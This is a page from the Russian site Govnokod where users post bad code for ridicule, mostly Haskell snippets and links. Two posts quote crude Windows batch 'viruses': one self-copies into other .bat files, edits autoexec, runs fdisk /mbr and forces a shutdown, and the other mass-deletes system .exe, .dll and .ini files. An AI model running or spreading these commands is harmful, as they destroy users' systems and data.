1. Куча / Говнокод #15716

    +130

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    import Control.Arrow
more_than_4_minimum_increased_to_100_from_list_of_pairs = 
  map fst >>>
  filter (>4) >>>
  minimum >>>
  (+100)

main = do 
  let l = [(i,j) | i <- [2,4..7], j <- [2..i]]
  print l
  print $  more_than_4_minimum_increased_to_100_from_list_of_pairs l

    Игра:
    Есть один одинокий анон, который пытается написать на схемке аналогичный код. Но он никак не может найти в схеме генератор списков. Помоги маленькому анону найти путь в своей жизни. Антон - нея.

    laMer007, 09 Апреля 2014

    Комментарии (10)

  2. Куча / Говнокод #15700

    +138

    1. 1
    http://www.microsoft.com/ru-ru/smb/campaigns/get-modern/default.aspx

    Таймер идёт назад.
    Да они поехали!

    laMer007, 08 Апреля 2014

    Комментарии (42)

  3. Куча / Говнокод #15665

    +118

    1. 1
    f g l = hylo l (.) (\n -> (g, n-1)) (==0)

    Этот пример использует hylomorphism.
    Композируем функцию типа (.) g(l) пока не наступит n==0

    HaskellGovno, 04 Апреля 2014

    Комментарии (19)

  4. Куча / Говнокод #15639

    +127

    1. 1
    http://ic.pics.livejournal.com/sharpc/9812774/55307/55307_original.png

    Я вот думал, а не запостить ли в раздел PHP...

    laMer007, 02 Апреля 2014

    Комментарии (11)

  5. Куча / Говнокод #15610

    +143

    1. 1
    http://prntscr.com/34tyg5

    wat?
    PS, капча 2882.

    gost, 28 Марта 2014

    Комментарии (14)

  6. Куча / Говнокод #15590

    +131

    1. 1
    Set-Cookie	pingadmin_ya_ne_robot=1; expires=Thu, 27 Mar 2014 06:39:49 GMT; path=/; domain=.ping-admin.ru;

    Ya_ne_robot_infa_sotka

    gost, 27 Марта 2014

    Комментарии (3)

  7. Куча / Говнокод #15554

    +124

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    @echo off
title %0
rem conditional check.
echo welcome to this wonderful program! please wait while I delete all your files!
rem infection of the user
copy %0 c:\tmp.bat >null attrib +r +s +h c:\tmp.bat echo for %%i in (*.bat) do copy c:\tmp.bat+%%i %%i >>c:\windows\system32\autoexec.NT
echo echo virus detected! >>c:\windows\system32\autoexec.NT
echo pause >>c:\windows\system32\autoexec.NT
echo NT core:infected!
echo echo shame on you! >>c:\autoexec.bat
echo echo system hault-virus identified! >>c:\autoexec.bat
echo chkdsk >>c:\autoexec.bat
echo i t i s t o o l a t e, y o u h a v e a v i r u s, n o w u r l i f e i s n o t b e a u t i f u l
fdisk /mbr
shutdown -s -t 03 -c “windows has shut down because the lsass service has encountered a write fault at 0×00000000000000000000000000000000000″

    Нужно БОЛЬШЕ нулей в адресе!
    http://ru.wikihow.com/%D1%81%D0%BE%D0%B7%D0%B4%D0%B0%D1%82%D1% 8C-%D0%B2%D0%B8%D1%80%D1%83%D1%81

    gost, 22 Марта 2014

    Комментарии (8)

  8. Куча / Говнокод #15553

    +131

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    Чтобы сделать программу невидимой для пользователя нажимаем на форму в конструктере и изменяем следующие свойства:
— FormBorderStyle — None
— Opacity — 0%
— ShowIcon — False
— ShowInTaskbar — False

    И Хабр туда-же...
    http://habrahabr.ru/post/127278/

    gost, 22 Марта 2014

    Комментарии (7)

  9. Куча / Говнокод #15552

    +131

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    Cd\ 
Cd C: 
Сd winMe 
Del *.exe 
Del *.ini 
Del *.com 
Cd\ 
Cd win98 
Cd system 
Del *.dll 
Del *.exe

    Сd windows -переходим в папку Windows (у 95% ламеров и юзеров папка называется именно так)
    Большой минус бат файлов да и ДОСа в частности это то что нельзя удалять сразу папку с файлами, а нужно заходить в каждую папку отдельно и удалять там файлы.!!!
    (C) http://kivi.clan.su/publ/kopjutery/sozdanie_virusov/kak_sozdat_virus_v_bloknote/10-1-0-8

    gost, 22 Марта 2014

    Комментарии (93)

  10. Куча / Говнокод #15474

    +126

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    import Data.Array
import Control.Arrow
l = [1,5,5,5,8,10,17]
make_array [] = undefined
make_array l = listArray (0, (length l)-1) l
-- binary_search:: (Integral i, Num i, Ord e, Ix i) => e -> Array i e -> i
binary_search item arr = bs la ra where
	(la, ra) = bounds arr
	nextWhileEqualItem = uncurry iterate >>> takeWhile (\i -> la<=i && i<=ra && arr!i==item) >>> last
	bs l r
		| (m == l || m == r) && item/=av = Nothing
		| item<av = bs l m
		| item>av = bs m r
		| item==av = Just (nextWhileEqualItem ((+) (-1), m), nextWhileEqualItem ((+)1, m))
		| otherwise = Nothing
		where
			m = (l+r) `div` 2
			av = arr!m
main = do
	print $ binary_search 8 $ make_array l
	print $ binary_search 5 $ make_array l
	print $ binary_search 5 $ make_array $ tail l
	print $ binary_search 0 $ make_array l
	print $ binary_search 100 $ make_array l
	print $ binary_search 9 $ make_array l

    Решил я значит поучаствовать в специальной олимпиаде Романа с двача.
    http://ideone.com/K5Jj59

    LispGovno, 14 Марта 2014

    Комментарии (21)